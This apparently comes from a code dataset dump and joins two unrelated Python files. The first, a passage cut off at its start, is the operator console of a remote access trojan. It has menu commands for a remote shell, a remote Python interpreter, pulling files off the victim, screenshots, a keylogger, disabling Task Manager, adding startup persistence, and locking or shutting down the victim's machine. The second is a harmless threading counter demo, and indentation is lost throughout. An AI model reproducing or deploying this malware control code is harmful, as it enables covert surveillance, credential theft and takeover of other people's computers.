if strFile == "" or strFileOutput == "": # if the user left an input blank
return
send(("recv" + strFile).encode())
strClientResponse = recv(intBuff).decode()
if strClientResponse == "Target file not found!":
print(strClientResponse)
return
print(f"File size: {strClientResponse} bytes\nPlease wait...")
intBuffer = int(strClientResponse)
file_data = recvall(intBuffer) # get data and write it
try:
with open(strFileOutput, "wb") as objFile:
objFile.write(file_data)
except:
print("Path is protected/invalid!")
return
print(f"Done!\nTotal bytes received: {os.path.getsize(strFileOutput)} bytes")
def command_shell(): # remote cmd shell
send(b"cmd")
strDefault = f"\n{_decode(recv(intBuff))}>"
print(strDefault, end="") # print default prompt
while True:
strCommand = input()
if strCommand in ["quit", "exit"]:
send(b"goback")
break
elif strCommand == "cmd": # commands that do not work
print("Please do use not this command!")
print(strDefault, end="")
elif len(strCommand) > 0:
send(strCommand.encode())
intBuffer = int(recv(intBuff).decode()) # receive buffer size
strClientResponse = _decode(recvall(intBuffer))
print(strClientResponse, end="") # print cmd output
else:
print(strDefault, end="")
def python_interpreter():
send(b"python")
recv(intBuff)
while True:
strCommand = input("\n>>> ")
if strCommand.strip() == "":
continue
if strCommand in ["exit", "exit()"]:
break
send(strCommand.encode())
intBuffer = int(recv(intBuff).decode())
strReceived = recvall(intBuffer).decode("utf-8").rstrip("\n")
if strReceived != "":
print(strReceived)
send(b"exit")
recv(intBuff)
def disable_taskmgr():
send(b"dtaskmgr")
print(recv(intBuff).decode()) # print response
def keylogger(option):
if option == "start":
send(b"keystart")
if recv(intBuff) == b"error":
print("Keylogger is already running.")
elif option == "stop":
send(b"keystop")
if recv(intBuff) == b"error":
print("Keylogger is not running.")
elif option == "dump":
send(b"keydump")
intBuffer = recv(intBuff).decode()
if intBuffer == "error":
print("Keylogger is not running.")
elif intBuffer == "error2":
print("No logs.")
else:
strLogs = recvall(int(intBuffer)).decode(errors="replace") # get all data
print(f"\n{strLogs}")
def send_command(command):
send(("runcmd" + command).encode())
intBuffer = int(recv(intBuff).decode()) # receive buffer size
strClientResponse = f"{24 * '='}\n{arrInfo[0]}{4 * ' '}{arrInfo[1]}{recvall(intBuffer).decode()}{24 * '='}"
if os.path.isfile("command_log.txt"):
strMode = "a"
else:
strMode = "w"
with open("command_log.txt", strMode) as objLogFile:
objLogFile.write(f"{strClientResponse}\n\n")
def show_help():
print("H Help")
print("M Send message")
print("R Receive file from the user")
print("S Send file to the user")
print("P Take screenshot")
print("A (1) Add to startup")
print("A (2) Remove from startup")
print("V View files")
print("U User Info")
print("E Open remote cmd")
print("I Open remote python interpreter")
print("D Disable task manager")
print("K (start) (stop) (dump) Keylogger")
print("X (1) Lock user")
print("X (2) Restart user")
print("X (3) Shutdown user")
print("B Move connection to background")
print("C Close connection")
def send_commands():
show_help()
try:
while True:
strChoice = input("\nType selection: ").lower()
if strChoice == "h":
print()
show_help()
elif strChoice == "c":
send(b"exit")
conn.close()
break
elif strChoice[:1] == "m" and len(strChoice) > 1:
strMsg = "msg" + strChoice[2:]
send(strMsg.encode())
elif strChoice == "a 1":
startup()
elif strChoice == "a 2":
remove_from_startup()
elif strChoice == "u":
user_info()
elif strChoice == "p":
screenshot()
elif strChoice == "i":
python_interpreter()
elif strChoice == "v":
browse_files()
elif strChoice == "s":
send_file()
elif strChoice == "r":
receive()
elif strChoice == "x 1":
send(b"lock")
elif strChoice == "x 2":
send(b"shutdown")
conn.close()
break
elif strChoice == "x 3":
send(b"restart")
conn.close()
break
elif strChoice == "b":
break
elif strChoice == "e":
command_shell()
elif strChoice == "d":
disable_taskmgr()
elif strChoice == "k start":
keylogger("start")
elif strChoice == "k stop":
keylogger("stop")
elif strChoice == "k dump":
keylogger("dump")
else:
print("Invalid choice, please try again!")
except socket.error as e: # if there is a socket error
print(f"Error, connection was lost! :\n{e}")
return
def create_threads():
for _ in range(2):
objThread = threading.Thread(target=work)
objThread.daemon = True
objThread.start()
queue.join()
def work(): # do jobs in the queue
while True:
intValue = queue.get()
if intValue == 1:
create_encryptor()
create_socket()
socket_bind()
socket_accept()
elif intValue == 2:
while True:
time.sleep(0.2)
if len(arrAddresses) > 0:
main_menu()
break
queue.task_done()
queue.task_done()
sys.exit(0)
def create_jobs():
for intThread in [1, 2]:
queue.put(intThread) # put thread id into list
queue.join()
create_threads()
create_jobs() |
example3.py | import threading
import random
random.seed(0)
import time
def update(pause_period):
global counter
with count_lock:
current_counter = counter # reading in shared resource
time.sleep(pause_period) # simulating heavy calculations
counter = current_counter + 1 # updating shared resource
pause_periods = [random.randint(0, 1) for i in range(20)]
###########################################################################
counter = 0
count_lock = threading.Lock()
start = time.perf_counter()
for i in range(20):
update(pause_periods[i])
print("--Sequential version--")
print(f"Final counter: {counter}.")
print(f"Took {time.perf_counter() - start : .2f} seconds.")
###########################################################################
counter = 0
threads = [threading.Thread(target=update, args=(pause_periods[i],)) for i in range(20)]
start = time.perf_counter()
for thread in threads:
thread.start()
for thread in threads:
thread.join()
print("--Concurrent version--")
print(f"Final counter: {counter}.")
print(f"Took {time.perf_counter() - start : .2f} seconds.")
###########################################################################
print("Finished.")
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.